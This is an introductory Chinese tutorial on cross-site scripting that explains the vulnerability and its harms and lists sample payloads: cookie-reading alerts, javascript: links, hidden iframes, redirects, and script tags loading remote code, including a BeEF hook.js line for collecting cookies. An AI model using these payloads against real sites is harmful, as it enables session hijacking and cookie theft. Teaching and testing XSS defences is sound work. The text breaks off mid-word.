XSS简介
跨站脚本(cross site script)为了避免和css混淆,所以简称为XSS,
XSS是出现在web中的安全漏洞,也是主流漏洞之一,XSS是指恶意攻击者利用网站没有对用户提交的数据进行转义处理或者过滤不足的缺点,添加代码嵌入到web页面中,使用户访问会执行相应的嵌入代码
攻击危害
盗取各种用户账号
盗取用户cookie资料,冒充用户身份进入网站
劫持用户会话,执行任意操作
刷流量,执行弹窗广告
转播蠕虫病毒
控制企业数据,包括读取、篡改、添加、删除企业敏感数据的能力
构造XSS脚本
弹框警告
<script>alert('xss')</script>
<script>alert(document.cookie)</script>
可以把伪协议放在html的超链接中
<a href="javascript:alert(/xss/)">touch me!</a> #点击超链接,即可触发XSS。
页面嵌套
<iframe src=http://www.baidu.com width=300 height=300></iframe>
<iframe src=http://www.baidu.com width=0 height=0 border=0></iframe>
页面重定向
<script>window.location="http://www.qfedu.com"</script>
<script>location.href="http://www.baidu.com"</script>
弹窗警告并重定向
<script>alert("请移步到我们的新站");location.href="http://www.qfedu.com"</script>
<script>alert('xss');location.href="http://10.1.64.35/mutillidae/robots.txt"</script>
访问恶意代码
<script src="http://www.qfedu.com/xss.js"></script>
<script src="http://BeEF_IP:3000/hook.js"></script> #结合BeEF收集用户的coo